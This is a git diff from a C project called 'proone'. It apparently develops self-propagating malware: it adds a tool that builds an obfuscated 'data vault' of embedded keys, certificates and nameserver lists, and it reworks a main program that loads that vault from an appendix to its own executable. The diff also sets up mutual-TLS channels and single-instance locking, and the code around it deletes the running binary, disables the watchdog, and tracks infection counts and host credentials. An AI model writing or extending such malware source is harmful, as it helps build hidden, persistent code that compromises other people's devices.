aa39d56..0000000 --- a/src/proone-mask.c +++ /dev/null @@ -1,101 +0,0 @@ -#include -#include -#include -#include -#include - -#include -#include -#include - -#include "dvault.h" -#include "util_rt.h" - - -int main (const int argc, char **args) { - int exit_code = 0; - ssize_t fd_read_size; - size_t read_size = 0; - uint8_t salt; - prne_dvault_mask_result_t mask_result; - prne_data_type_t type; - - prne_init_dvault_mask_result(&mask_result); - - if (argc <= 1) { - fprintf(stderr, - "Usage: %s [salt]\n" - ": 'cstr', 'bin'\n" - "[salt]: salt hex value\n", - args[0]); - exit_code = 2; - goto END; - } - - if (argc >= 3) { - for (char *p = args[2]; *p != 0; p += 1) { - *p = (char)tolower(*p); - } - - if (sscanf(args[2], "%hhx", &salt) != 1) { - perror("parsing salt: "); - exit_code = 1; - goto END; - } - } - else { - prne_geturandom(&salt, sizeof(salt)); - } - - type = prne_data_type_fstr(args[1]); - switch (type) { - case PRNE_DATA_TYPE_BIN: - case PRNE_DATA_TYPE_CSTR: { - static const size_t buf_size = 0x0000FFFF + 1; - uint8_t buf[buf_size]; - - do { - fd_read_size = read(STDIN_FILENO, buf + read_size, buf_size - read_size); - if (fd_read_size < 0) { - perror("Error reading stdin"); - exit_code = 1; - goto END; - } - if (fd_read_size > 0) { - read_size += fd_read_size; - if (read_size >= buf_size) { - fprintf(stderr, "Error: data too large\n"); - exit_code = 1; - goto END; - } - } - } while (fd_read_size > 0); - - if (read_size == 0) { - fprintf(stderr, "Error: no data read\n"); - exit_code = 1; - goto END; - } - - mask_result = prne_dvault_mask(type, salt, read_size, buf); - if (mask_result.result == PRNE_DVAULT_MASK_OK) { - printf("(uint8_t*)\"%s\",\n", mask_result.str); - } - else { - fprintf(stderr, "Error: prne_dvault_mask() returned %d\n", (int)mask_result.result); - exit_code = 1; - goto END; - } - break; - } - default: - fprintf(stderr, "Error: unknown data type '%s'\n", args[1]); - exit_code = 2; - goto END; - } - -END: - prne_free_dvault_mask_result(&mask_result); - - return exit_code; -} diff --git a/src/proone-mkdvault.c b/src/proone-mkdvault.c new file mode 100644 index 0000000..1ed8b0e --- /dev/null +++ b/src/proone-mkdvault.c @@ -0,0 +1,243 @@ +#include "config.h" +#include "dvault.h" +#include "util_rt.h" +#include "imap.h" +#include "proone_conf/x509.h" + +#include +#include +#include + +#include + +#include +#include + +/* Data Vault Format (big endian) +* +* uint8_t mask[256] +* uint16_t offsets[NB_PRNE_DATA_KEY] +* uint8_t data[...] +*/ + +static struct { + const void *data; + size_t size; + prne_dvault_mask_result_t encoded; + uint16_t pos; + prne_data_type_t type; + bool set; +} ENTRIES[NB_PRNE_DATA_KEY]; + +#define add_cstr(key, cstr) {\ + static const char STR[] = cstr;\ + ENTRIES[key].data = STR;\ + ENTRIES[key].size = sizeof(STR);\ + ENTRIES[key].type = PRNE_DATA_TYPE_CSTR;\ + ENTRIES[key].set = true;\ +} + +#define add_bin(key, bin_arr) {\ + static const uint8_t ARR[] = bin_arr;\ + ENTRIES[key].data = ARR;\ + ENTRIES[key].size = sizeof(ARR);\ + ENTRIES[key].type = PRNE_DATA_TYPE_BIN;\ + ENTRIES[key].set = true;\ +} + +static mbedtls_entropy_context ent; +static mbedtls_ctr_drbg_context rnd; + +static void assert_mbedtls (const bool expr, const int ret, const char *msg) { + if (!expr) { + fprintf(stderr, "%s: %d\n", msg, ret); + abort(); + } +} + +static void assert_errno (const bool expr, const char *msg) { + if (!expr) { + perror(msg); + abort(); + } +} + +static void assert_dvault ( + const prne_dvault_mask_result_t *ret, + prne_data_key_t key) +{ + if (ret->result != PRNE_DVAULT_MASK_OK) { + fprintf(stderr, + "prne_dvault_mask() %d: %s\n", + key, + prne_dvault_mask_result_tostr(ret->result)); + abort(); + } +} + +static void assert_plain (const bool expr, const char *msg) { + if (!expr) { + fprintf(stderr, "%s\n", msg); + abort(); + } +} + +static void gen_mask (uint8_t *out) { + prne_imap_t q; + + prne_init_imap(&q); + + for (prne_imap_key_type_t i = 0; i < 256; i += 1) { + prne_assert(prne_imap_insert(&q, i, NULL) != NULL); + } + + for (uintptr_t i = 0; i < 256; i += 1) { + size_t n; + int mbedret; + + mbedret = mbedtls_ctr_drbg_random( + &rnd, + (unsigned char*)&n, + sizeof(size_t)); + prne_massert( + mbedret == 0, + "mbedtls_ctr_drbg_random() returned %d", + mbedret); + n = n % q.size; + + out[i] = q.tbl[n].key; + prne_imap_erase(&q, q.tbl[n].key); + } + + prne_free_imap(&q); +} + +int main (void) { + int callret; + uint8_t mask[256]; + uint_fast16_t pos = 0; + uint8_t *ptr, *ptr_offsets, *m_out, *m_test; + const void *ptr_rd; + + if (isatty(STDOUT_FILENO)) { + fprintf(stderr, "Refusing to print on terminal.\n"); + return 2; + } + + mbedtls_entropy_init(&ent); + mbedtls_ctr_drbg_init(&rnd); + callret = mbedtls_ctr_drbg_seed( + &rnd, + mbedtls_entropy_func, + &ent, + (unsigned char*)PRNE_BUILD_ENTROPY, + sizeof(PRNE_BUILD_ENTROPY)); + assert_mbedtls(callret == 0, callret, "mbedtls_ctr_drbg_seed()"); + + gen_mask(mask); + pos += 256; + + add_bin(PRNE_DATA_KEY_PROG_VER, PRNE_PROG_VER); + add_cstr( + PRNE_DATA_KEY_PROC_LIM_SHM, + "/31e4f17c-db76-4332-af48-fd9fb8453f8f"); + add_bin(PRNE_DATA_KEY_X509_CA_CRT, PRNE_X509_CA_CRT); + add_bin(PRNE_DATA_KEY_X509_DH, PRNE_X509_DH); + add_bin(PRNE_DATA_KEY_X509_S_CRT, PRNE_X509_S_CRT); + add_bin(PRNE_DATA_KEY_X509_S_KEY, PRNE_X509_S_KEY); + add_bin(PRNE_DATA_KEY_X509_C_CRT, PRNE_X509_C_CRT); + add_bin(PRNE_DATA_KEY_X509_C_KEY, PRNE_X509_C_KEY); + add_bin(PRNE_DATA_KEY_RESOLV_NS_IPV4, PRNE_RESOLV_NS_POOL_IPV4); + add_bin(PRNE_DATA_KEY_RESOLV_NS_IPV6, PRNE_RESOLV_NS_POOL_IPV6); + + pos += NB_PRNE_DATA_KEY * sizeof(uint16_t); + + // Encode + for (prne_data_key_t i = 0; i < NB_PRNE_DATA_KEY; i += 1) { + uint8_t salt; + const size_t avail = UINT16_MAX - pos; + + assert_plain(ENTRIES[i].set, "Null entry found."); + + callret = mbedtls_ctr_drbg_random(&rnd, &salt, 1); + assert_mbedtls(callret == 0, callret, "mbedtls_ctr_drbg_random()"); + ENTRIES[i].encoded = prne_dvault_mask( + ENTRIES[i].type, + salt, + mask, + ENTRIES[i].size, + ENTRIES[i].data); + assert_dvault(&ENTRIES[i].encoded, i); + + if (avail < ENTRIES[i].encoded.size) { + fprintf(stderr, "The output size limit reached!\n"); + return 2; + } + ENTRIES[i].pos = pos; + pos += ENTRIES[i].encoded.size; + } + + // Write in memory to test + ptr = m_out = (uint8_t*)prne_malloc(1, pos); + m_test = (uint8_t*)prne_malloc(1, pos); + + memcpy(ptr, mask, 256); + ptr += 256; + ptr_offsets = ptr; + + for (prne_data_key_t i = 0; i < NB_PRNE_DATA_KEY; i += 1) { + ptr[0] = (uint8_t)((ENTRIES[i].pos & 0xFF00) >> 8); + ptr[1] = (uint8_t)((ENTRIES[i].pos & 0x00FF) >> 0); + ptr += 2; + } + + prne_dvault_invert_mem(NB_PRNE_DATA_KEY * 2, ptr_offsets, 0, 0, mask); + + for (prne_data_key_t i = 0; i < NB_PRNE_DATA_KEY; i += 1) { + memcpy(ptr, ENTRIES[i].encoded.data, ENTRIES[i].encoded.size); + ptr += ENTRIES[i].encoded.size; + } + + for (prne_data_key_t i = 0; i < NB_PRNE_DATA_KEY; i += 1) { + prne_free_dvault_mask_result(&ENTRIES[i].encoded); + } + + mbedtls_ctr_drbg_free(&rnd); + mbedtls_entropy_free(&ent); + + // Test + memcpy(m_test, m_out, pos); + for (size_t i = 0; i < 3; i += 1) { + prne_init_dvault(m_test); + + for (prne_data_key_t i = 0; i < NB_PRNE_DATA_KEY; i += 1) { + size_t size; + + switch (ENTRIES[i].type) { + case PRNE_DATA_TYPE_BIN: + ptr_rd = prne_dvault_get_bin(i, &size); + assert(ptr_rd != NULL); + assert(size == ENTRIES[i].size); + assert(memcmp(ptr_rd, ENTRIES[i].data, size) == 0); + break; + case PRNE_DATA_TYPE_CSTR: + ptr_rd = prne_dvault_get_cstr(i, &size); + assert(ptr_rd != NULL); + assert(size == strlen((const char*)ptr_rd)); + assert(memcmp(ptr_rd, ENTRIES[i].data, ENTRIES[i].size) == 0); + break; + default: abort(); + } + } + + prne_deinit_dvault(); + assert(memcmp(m_test, m_out, pos) == 0); + } + + // Dump on stdout + assert_errno( + write(STDOUT_FILENO, m_out, pos) == (ssize_t)pos, + "dumping on stdout"); + + return 0; +} diff --git a/src/proone-print-all-data.c b/src/proone-print-all-data.c deleted file mode 100644 index c22ff68..0000000 --- a/src/proone-print-all-data.c +++ /dev/null @@ -1,44 +0,0 @@ -#include -#include - -#include "dvault.h" - -#define TYPE_STR_PADDING "4" - - -int main (void) { - prne_data_key_t i = PRNE_DATA_KEY_NONE + 1; - prne_data_type_t type; - - prne_init_dvault(); - - for (i = PRNE_DATA_KEY_NONE + 1; i < NB_PRNE_DATA_KEY; i += 1) { - type = (prne_data_type_t)PRNE_DATA_DICT[i][0]; - - printf("%10lld(%" TYPE_STR_PADDING "s): ", (long long)i, prne_data_type_tostr(type)); - switch (type) { - case PRNE_DATA_TYPE_CSTR: - printf("%s", prne_dvault_unmask_entry_cstr(i, NULL)); - break; - case PRNE_DATA_TYPE_BIN: { - const uint8_t *p; - size_t size, it; - - prne_dvault_unmask_entry_bin(i, &p, &size); - - for (it = 0; it < size; it += 1) { - printf("%02X ", p[it]); - } - break; - } - default: - fprintf(stderr, "Error: unknown data type (%d)'%s'\n", (int)type, prne_data_type_tostr(type)); - abort(); - } - - printf("\n"); - } - - prne_deinit_dvault(); - return 0; -} diff --git a/src/proone-readdvault.c b/src/proone-readdvault.c new file mode 100644 index 0000000..e69de29 diff --git a/src/proone-resolv.c b/src/proone-resolv.c index 4897681..68b5dcf 100644 --- a/src/proone-resolv.c +++ b/src/proone-resolv.c @@ -65,7 +65,7 @@ static void proc_prompt_line (char *line, const size_t line_len) { size_t verb_len, obj_len; bool has_prm = false; - prne_assert(rm[1].rm_so >= 0 && rm[2].rm_so >= 0); + prne_dbgast(rm[1].rm_so >= 0 && rm[2].rm_so >= 0); verb = line + rm[1].rm_so; verb_len = rm[1].rm_eo - rm[1].rm_so; @@ -262,7 +262,7 @@ int main (void) { prne_assert(mbedtls_ctr_drbg_seed(&rnd, mbedtls_entropy_func, &entropy, (const uint8_t*)PRNE_BUILD_ENTROPY, sizeof(PRNE_BUILD_ENTROPY) - 1) == 0); prne_init_llist(&prm_list); - resolv = prne_alloc_resolv(&wkr_arr[0], &rnd); + resolv = prne_alloc_resolv(&wkr_arr[0], &rnd, PRNE_RESOLV_DEF_IPV4_POOL, PRNE_RESOLV_DEF_IPV6_POOL); prne_assert(resolv != NULL); wkr_arr[1].entry = stdin_wkr_entry; diff --git a/src/proone-stress.c b/src/proone-stress.c index 8487a71..f9fffe0 100644 --- a/src/proone-stress.c +++ b/src/proone-stress.c @@ -56,7 +56,7 @@ static void child_signal_handler (const int sn); static void sendall(const int sn); int main (const int argc, const char **args) { - static const size_t ALIGNED_SHARED_SIZE = prne_malign_to(sizeof(shared_t), 8); + static const size_t ALIGNED_SHARED_SIZE = prne_salign_next(sizeof(shared_t), 8); #define END_ON_ERR(retval, val, fname, eq)\ if ((eq && retval != val) || (!eq && retval == val)) {\ perror(fname);\ diff --git a/src/proone-test_proto.c b/src/proone-test_proto.c index e4bb31b..57c643b 100644 --- a/src/proone-test_proto.c +++ b/src/proone-test_proto.c @@ -80,6 +80,7 @@ static void test_ser (void) { "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "12345678", NULL }; static prne_htbt_bin_meta_t bm_a, bm_b; + static const uint8_t prog_ver[] = PRNE_PROG_VER; // init for (size_t i = 0; i < 255; i += 1) { @@ -193,15 +194,17 @@ static void test_ser (void) { hi_a.infect_cnt = 0xABBAABBAABBAABBA; hi_a.parent_pid = 0xDEADBEEF; hi_a.child_pid = 0xBABEBABE; - memcpy(hi_a.prog_ver, PRNE_PROG_VER, 16); + memcpy(hi_a.prog_ver, prog_ver, sizeof(prog_ver)); memcpy(hi_a.boot_id, "\x30\x1d\x25\x39\x90\x85\x42\xfd\x90\xb6\x20\x0b\x4a\x3b\x08\x55", 16); memcpy(hi_a.instance_id, "\x25\xdc\x7e\xa2\x4a\xc6\x4a\x29\x9f\xac\xbe\x18\x42\x33\xc4\x85", 16); memcpy(hi_a.cred, cred_data, cred_data_len); hi_a.arch = prne_host_arch; assert(prne_htbt_ser_host_info(proto_buf, PRNE_HTBT_PROTO_MIN_BUF, &proto_buf_cnt_len, &hi_a) == PRNE_HTBT_SER_RC_OK); - assert(proto_buf_cnt_len == 99 + cred_data_len && - memcmp(proto_buf, PRNE_PROG_VER, 16) == 0 && - memcmp(proto_buf + 16, + assert( + proto_buf_cnt_len == 99 + cred_data_len && + memcmp(proto_buf, prog_ver, 16) == 0 && + memcmp( + proto_buf + 16, "\x30\x1d\x25\x39\x90\x85\x42\xfd\x90\xb6\x20\x0b\x4a\x3b\x08\x55" "\x25\xdc\x7e\xa2\x4a\xc6\x4a\x29\x9f\xac\xbe\x18\x42\x33\xc4\x85" "\xAB\xBA\xBA\xBE\xFE\xFF\xFF\xFE" @@ -212,7 +215,7 @@ static void test_ser (void) { "\xDE\xAD\xBE\xEF" "\xBA\xBE\xBA\xBE" "\x02\x01", - 82) == 0 && + 82) == 0 && proto_buf[16 + 82] == (uint8_t)prne_host_arch && memcmp(proto_buf + 16 + 82 + 1, cred_data, cred_data_len) == 0); assert(prne_htbt_dser_host_info(proto_buf, proto_buf_cnt_len, &actual, &hi_b) == PRNE_HTBT_SER_RC_OK); diff --git a/src/proone.c b/src/proone.c index af77ba2..68b80cb 100644 --- a/src/proone.c +++ b/src/proone.c @@ -15,7 +15,9 @@ #include #include #include +#include +#include "config.h" #include "proone.h" #include "protocol.h" #include "util_rt.h" @@ -23,7 +25,6 @@ #include "llist.h" // #include "htbt-worker.h" #include "mbedtls.h" -#include "proone_conf/x509.h" struct prne_global prne_g; @@ -39,9 +40,53 @@ static void alloc_workers (void) { prne_init_worker(wkr_arr + i); } - prne_g.resolv = prne_alloc_resolv(wkr_arr + 0, &prne_g.ssl.rnd); - prne_assert(prne_g.resolv != NULL); - wkr_cnt += 1; + { + prne_resolv_ns_pool_t pool4, pool6; + + prne_resolv_init_ns_pool(&pool4); + prne_resolv_init_ns_pool(&pool6); + + do { + size_t i, len, cnt; + const uint8_t *bin; + + bin = prne_dvault_get_bin(PRNE_DATA_KEY_RESOLV_NS_IPV4, &len); + prne_dbgast(len != 0 && len % 16 == 0); + cnt = len * 16; + + if (!prne_resolv_alloc_ns_pool(&pool4, cnt)) { + break; + } + for (i = 0; i < cnt; i += 1) { + memcpy(pool4.arr[i].addr.addr, bin + i * 16, 16); + pool4.arr[i].addr.ver = PRNE_IPV_4; + pool4.arr[i].port = 853; + } + + bin = prne_dvault_get_bin(PRNE_DATA_KEY_RESOLV_NS_IPV6, &len); + prne_dbgast(len != 0 && len % 16 == 0); + cnt = len * 16; + + if (!prne_resolv_alloc_ns_pool(&pool6, cnt)) { + break; + } + for (i = 0; i < cnt; i += 1) { + memcpy(pool6.arr[i].addr.addr, bin + i * 16, 16); + pool6.arr[i].addr.ver = PRNE_IPV_6; + pool6.arr[i].port = 853; + } + + prne_g.resolv = prne_alloc_resolv(wkr_arr + 0, &prne_g.ssl.rnd, pool4, pool6); + if (prne_g.resolv != NULL) { + wkr_cnt += 1; + pool4.ownership = false; + pool6.ownership = false; + } + } while (false); + + prne_resolv_free_ns_pool(&pool4); + prne_resolv_free_ns_pool(&pool6); + } } static void free_workers (void) { @@ -106,26 +151,6 @@ static int proone_main (void) { return 0; } -static bool ensure_single_instance (void) { - prne_g.lock_shm_fd = shm_open( - prne_dvault_unmask_entry_cstr(PRNE_DATA_KEY_PROC_LIM_SHM, NULL), - O_RDWR | O_CREAT | O_CLOEXEC, - 0666); - prne_dvault_reset_dict(); - if (prne_g.lock_shm_fd < 0) { - return true; - } - - if (flock(prne_g.lock_shm_fd, LOCK_EX | LOCK_NB) < 0) { - prne_close(prne_g.lock_shm_fd); - prne_g.lock_shm_fd = -1; - - return false; - } - - return true; -} - static void delete_myself (const char *arg0) { #ifndef PRNE_DEBUG static const char *proc_path = "/proc/self/exe"; @@ -168,118 +193,309 @@ static void disasble_watchdog (void) { #endif } -static void read_host_credential (void) { - static const size_t buf_size = (1 + 2 + 255 * 2) * 4 / 3 + 2; - char *buf = (char*)prne_malloc(1, buf_size); - size_t len; +static void set_env (void) { + // environment set up function calls in here +} - if (buf == NULL) { - return; - } +static void setup_dvault (void) { + prne_g.m_dvault = (uint8_t*)prne_malloc(1, prne_g.dvault_size); + memcpy(prne_g.m_dvault, prne_g.m_exec_dvault, prne_g.dvault_size); - if (fgets(buf, buf_size, stdin) == NULL) { - goto END; - } - len = prne_str_shift_spaces(buf, strlen(buf)); + prne_init_dvault(prne_g.m_dvault); +} - if (len > 0) { - prne_dec_base64_mem(buf, len, &prne_g.host_cred_data, &prne_g.host_cred_size); +static bool setup_binarch (const void *m) { + // TODO: Load bin arc + return false; +} + +static void init_proone (const char *self) { + int fd; +#if PRNE_HOST_WORDSIZE == 64 + static const unsigned char EXPTD_CLASS = 2; +#define ELF_EHDR_TYPE Elf64_Ehdr +#elif PRNE_HOST_WORDSIZE == 32 + static const unsigned char EXPTD_CLASS = 1; +#define ELF_EHDR_TYPE Elf32_Ehdr +#else + #error "FIXME!" +#endif +#if PRNE_HOST_ENDIAN == PRNE_ENDIAN_LITTLE + static const unsigned char EXPTD_DATA = 1; +#elif PRNE_HOST_ENDIAN == PRNE_ENDIAN_BIG + static const unsigned char EXPTD_DATA = 2; +#else + #error "FIXME!" +#endif + ELF_EHDR_TYPE *elf; + uint_fast32_t dvault_ofs, binarch_ofs, binarch_size; + off_t file_size; + + set_env(); + + fd = open(self, O_RDONLY); + prne_assert(fd >= 0); + file_size = lseek(fd, 0, SEEK_END); + prne_assert(file_size >= (off_t)sizeof(ELF_EHDR_TYPE)); + prne_g.m_exec = (const uint8_t*)mmap( + NULL, + file_size, + PROT_READ, + MAP_SHARED, + fd, + 0); + prne_close(fd); + prne_assert(prne_g.m_exec != MAP_FAILED); + + // Use header + elf = (ELF_EHDR_TYPE*)prne_g.m_exec; + prne_assert( + elf->e_ident[EI_MAG0] == ELFMAG0 && + elf->e_ident[EI_MAG1] == ELFMAG1 && + elf->e_ident[EI_MAG2] == ELFMAG2 && + elf->e_ident[EI_MAG3] == ELFMAG3); + prne_assert(elf->e_ident[EI_CLASS] == EXPTD_CLASS); + prne_assert(elf->e_ident[EI_DATA] == EXPTD_DATA); + + prne_g.exec_size = elf->e_shoff + (elf->e_shentsize * elf->e_shnum); + prne_g.exec_size = prne_salign_next(prne_g.exec_size, PRNE_BIN_ALIGNMENT); + prne_massert( + prne_g.exec_size + 8 <= (size_t)file_size, + "No appendix!"); + + // Read sizes + prne_g.dvault_size = + (uint_fast16_t)prne_g.m_exec[prne_g.exec_size + 0] << 8 | + (uint_fast16_t)prne_g.m_exec[prne_g.exec_size + 1] << 0; + binarch_size = + (uint_fast32_t)prne_g.m_exec[prne_g.exec_size + 4] << 24 | + (uint_fast32_t)prne_g.m_exec[prne_g.exec_size + 5] << 16 | + (uint_fast32_t)prne_g.m_exec[prne_g.exec_size + 6] << 8 | + (uint_fast32_t)prne_g.m_exec[prne_g.exec_size + 7] << 0; + + dvault_ofs = prne_salign_next( + prne_g.exec_size + 8, + PRNE_BIN_ALIGNMENT); + binarch_ofs = prne_salign_next( + dvault_ofs + prne_g.dvault_size, + PRNE_BIN_ALIGNMENT); + + // Load dvault + prne_assert(dvault_ofs + prne_g.dvault_size <= (size_t)file_size); + prne_g.m_exec_dvault = prne_g.m_exec + dvault_ofs; + setup_dvault(); + + if (binarch_size > 0) { + prne_assert(binarch_ofs + binarch_size <= (size_t)file_size); + setup_binarch(prne_g.m_exec + binarch_ofs); } + else { + prne_dbgpf("* This executable has no binary archive!\n"); + } +#undef ELF_EHDR_TYPE +} -END: - prne_free(buf); +static void deinit_proone (void) { + prne_deinit_dvault(); + prne_free(prne_g.m_dvault); + prne_g.m_dvault = NULL; } -static void setup_bin_archive (void) { - // TODO -#if 0 - prne_stdin_base64_rf_ctx_t rf_ctx; +static void load_ssl_conf (void) { +#define BREAKIF_ERR(f) if (mret != 0) {\ + prne_dbgpf("%s() returned %d\n", f, mret);\ + break;\ +} + size_t dvlen = 0; + int mret; + const uint8_t *data; - prne_init_stdin_base64_rf_ctx(&rf_ctx); - prne_g.bin_ready = prne_index_bin_archive(&rf_ctx, prne_stdin_base64_rf, &prne_g.bin_archive).rc == PRNE_PACK_RC_OK; - prne_free_stdin_base64_rf_ctx(&rf_ctx); -#endif + do { + data = prne_dvault_get_bin(PRNE_DATA_KEY_X509_CA_CRT, &dvlen); + mret = mbedtls_x509_crt_parse(&prne_g.ssl.ca, data, dvlen); + BREAKIF_ERR("mbedtls_x509_crt_parse"); + + // Server stuff + mret = mbedtls_ssl_config_defaults( + &prne_g.s_ssl.conf, + MBEDTLS_SSL_IS_SERVER, + MBEDTLS_SSL_TRANSPORT_STREAM, + MBEDTLS_SSL_PRESET_DEFAULT); + BREAKIF_ERR("mbedtls_ssl_config_defaults"); + data = prne_dvault_get_bin(PRNE_DATA_KEY_X509_S_CRT, &dvlen); + mret = mbedtls_x509_crt_parse(&prne_g.s_ssl.crt, data, dvlen); + BREAKIF_ERR("mbedtls_x509_crt_parse"); + data = prne_dvault_get_bin(PRNE_DATA_KEY_X509_S_KEY, &dvlen); + mret = mbedtls_pk_parse_key(&prne_g.s_ssl.pk, data, dvlen, NULL, 0); + BREAKIF_ERR("mbedtls_pk_parse_key"); + data = prne_dvault_get_bin(PRNE_DATA_KEY_X509_DH, &dvlen); + mret = mbedtls_dhm_parse_dhm(&prne_g.s_ssl.dhm, data, dvlen); + BREAKIF_ERR("mbedtls_dhm_parse_dhm"); + mret = mbedtls_ssl_conf_own_cert( + &prne_g.s_ssl.conf, + &prne_g.s_ssl.crt, + &prne_g.s_ssl.pk); + BREAKIF_ERR("mbedtls_ssl_conf_own_cert"); + mret = mbedtls_ssl_conf_dh_param_ctx( + &prne_g.s_ssl.conf, + &prne_g.s_ssl.dhm); + BREAKIF_ERR("mbedtls_ssl_conf_dh_param_ctx"); + prne_g.s_ssl.ready = true; + + // Client stuff + mret = mbedtls_ssl_config_defaults( + &prne_g.c_ssl.conf, + MBEDTLS_SSL_IS_SERVER, + MBEDTLS_SSL_TRANSPORT_STREAM, + MBEDTLS_SSL_PRESET_DEFAULT); + BREAKIF_ERR("mbedtls_ssl_config_defaults"); + data = prne_dvault_get_bin(PRNE_DATA_KEY_X509_C_CRT, &dvlen); + mret = mbedtls_x509_crt_parse(&prne_g.c_ssl.crt, data, dvlen); + BREAKIF_ERR("mbedtls_x509_crt_parse"); + data = prne_dvault_get_bin(PRNE_DATA_KEY_X509_C_KEY, &dvlen); + mret = mbedtls_pk_parse_key(&prne_g.c_ssl.pk, data, dvlen, NULL, 0); + BREAKIF_ERR("mbedtls_pk_parse_key"); + mret = mbedtls_ssl_conf_own_cert( + &prne_g.c_ssl.conf, + &prne_g.c_ssl.crt, + &prne_g.c_ssl.pk); + BREAKIF_ERR("mbedtls_ssl_conf_own_cert"); + prne_g.c_ssl.ready = true; + } while (false); + prne_dvault_reset(); + + // set mutual auth + // ignore expired cert (system wall clock might not be set) + if (prne_g.s_ssl.ready) { + mbedtls_ssl_conf_ca_chain( + &prne_g.s_ssl.conf, + &prne_g.ssl.ca, NULL); + mbedtls_ssl_conf_authmode( + &prne_g.s_ssl.conf, + MBEDTLS_SSL_VERIFY_REQUIRED); + mbedtls_ssl_conf_verify( + &prne_g.s_ssl.conf, + prne_mbedtls_x509_crt_verify_cb, + NULL); + } + if (prne_g.c_ssl.ready) { + mbedtls_ssl_conf_ca_chain( + &prne_g.c_ssl.conf, + &prne_g.ssl.ca, + NULL); + mbedtls_ssl_conf_authmode( + &prne_g.c_ssl.conf, + MBEDTLS_SSL_VERIFY_REQUIRED); + mbedtls_ssl_conf_verify( + &prne_g.c_ssl.conf, + prne_mbedtls_x509_crt_verify_cb, + NULL); + } +#undef BREAKIF_ERR } -static void set_env (void) { - // environment set up function calls in here +static bool try_lock_file (const int fd) { + return flock(fd, LOCK_EX | LOCK_NB) == 0; } -static void load_ssl_conf (void) { - // Could save 1108 bytes if bundled and compressed - static const uint8_t CA_CRT[] = PRNE_X509_CA_CRT; - static const uint8_t S_CRT[] = PRNE_X509_S_CRT; - static const uint8_t S_KEY[] = PRNE_X509_S_KEY; - static const uint8_t DH[] = PRNE_X509_DH; - static const uint8_t C_CRT[] = PRNE_X509_C_CRT; - static const uint8_t C_KEY[] = PRNE_X509_C_KEY; - - if (mbedtls_x509_crt_parse(&prne_g.ssl.ca, CA_CRT, sizeof(CA_CRT)) == 0) { - prne_g.s_ssl.ready = - mbedtls_ssl_config_defaults(&prne_g.s_ssl.conf, MBEDTLS_SSL_IS_SERVER, MBEDTLS_SSL_TRANSPORT_STREAM, MBEDTLS_SSL_PRESET_DEFAULT) == 0 && - mbedtls_x509_crt_parse(&prne_g.s_ssl.crt, S_CRT, sizeof(S_CRT)) == 0 && - mbedtls_pk_parse_key(&prne_g.s_ssl.pk, S_KEY, sizeof(S_KEY), NULL, 0) == 0 && - mbedtls_dhm_parse_dhm(&prne_g.s_ssl.dhm, DH, sizeof(DH)) == 0 && - mbedtls_ssl_conf_own_cert(&prne_g.s_ssl.conf, &prne_g.s_ssl.crt, &prne_g.s_ssl.pk) == 0 && - mbedtls_ssl_conf_dh_param_ctx(&prne_g.s_ssl.conf, &prne_g.s_ssl.dhm) == 0; - if (prne_g.s_ssl.ready) { - mbedtls_ssl_conf_ca_chain(&prne_g.s_ssl.conf, &prne_g.ssl.ca, NULL); - // mutual auth - mbedtls_ssl_conf_authmode(&prne_g.s_ssl.conf, MBEDTLS_SSL_VERIFY_REQUIRED); - // ignore expired cert (system wall clock might not be set) - mbedtls_ssl_conf_verify(&prne_g.s_ssl.conf, prne_mbedtls_x509_crt_verify_cb, NULL); - } +static bool format_shared_global (const int fd) { + uint8_t rev; - prne_g.c_ssl.ready = - mbedtls_ssl_config_defaults(&prne_g.c_ssl.conf, MBEDTLS_SSL_IS_SERVER, MBEDTLS_SSL_TRANSPORT_STREAM, MBEDTLS_SSL_PRESET_DEFAULT) == 0 && - mbedtls_x509_crt_parse(&prne_g.c_ssl.crt, C_CRT, sizeof(C_CRT)) == 0 && - mbedtls_pk_parse_key(&prne_g.c_ssl.pk, C_KEY, sizeof(C_KEY), NULL, 0) == 0 && - mbedtls_ssl_conf_own_cert(&prne_g.c_ssl.conf, &prne_g.c_ssl.crt, &prne_g.c_ssl.pk) == 0; - if (prne_g.c_ssl.ready) { - mbedtls_ssl_conf_ca_chain(&prne_g.c_ssl.conf, &prne_g.ssl.ca, NULL); - // mutual auth - mbedtls_ssl_conf_authmode(&prne_g.c_ssl.conf, MBEDTLS_SSL_VERIFY_REQUIRED); - // ignore expired cert (system wall clock might not be set) - mbedtls_ssl_conf_verify(&prne_g.c_ssl.conf, prne_mbedtls_x509_crt_verify_cb, NULL); + if (read(fd, &rev, 1) != 1) { + return false; + } + + switch (rev) { + // Future format update code goes here + case 0: + if (lseek(fd, 0, SEEK_END) >= (off_t)sizeof(struct prne_shared_global)) { + return true; } + break; } + + return false; } -static void init_shared_global (void) { - // just die on error - static const size_t str_len = 1 + 30; +static bool init_shared_global (void) { int fd; - char name[str_len]; + const char *fname; + bool ret = true; /* TODO - * 1. Try anonymous mmap() - * 2. Try opening /dev/zero * 3. Try creating and opening /tmp/... * 4. Try creating and opening random file in current wd * 5. ... just don't use shared memory if all of these fail */ - name[0] = '/'; - name[str_len] = 0; - prne_rnd_anum_str(&prne_g.ssl.rnd, name + 1, str_len - 1); - - fd = shm_open(name, O_RDWR | O_CREAT | O_TRUNC, 0000); - if (fd < 0) { - abort(); - } - shm_unlink(name); - if (ftruncate(fd, sizeof(struct prne_shared_global)) < 0) { - abort(); + fname = prne_dvault_get_cstr(PRNE_DATA_KEY_PROC_LIM_SHM, NULL); + do { + fd = shm_open(fname, O_RDWR, 0600); + if (fd >= 0) { + if (!try_lock_file(fd)) { + ret = false; + goto END; + } + if (format_shared_global(fd)) { + break; + } + else { + prne_close(fd); + fd = -1; + } + } + + fd = shm_open(fname, O_RDWR | O_CREAT | O_TRUNC, 0600); + if (fd >= 0) { + struct prne_shared_global skel; + + if (!try_lock_file(fd)) { + ret = false; + goto END; + } + + memzero(&skel, sizeof(skel)); + // Future code for new shared_global format goes here + skel.rev = 0; + + if (write(fd, &skel, sizeof(skel)) != sizeof(skel)) { + goto END; + } + } + else { + goto END; + } + } while (false); + + prne_s_g = (struct prne_shared_global*)mmap( + NULL, + sizeof(struct prne_shared_global), + PROT_READ | PROT_WRITE, + MAP_SHARED, + fd, + 0); + if (prne_s_g == MAP_FAILED) { + prne_s_g = NULL; + prne_dbgperr("* Failed to initialise shared global"); } - prne_s_g = (struct prne_shared_global*)mmap(NULL, sizeof(struct prne_shared_global), PROT_READ | PROT_WRITE, MAP_SHARED, fd, 0); - if (prne_s_g == NULL) { - abort(); + else { + prne_s_g->ny_bin_name[0] = 0; } + +END: prne_close(fd); + prne_dvault_reset(); - prne_s_g->bne_cnt = 0; - 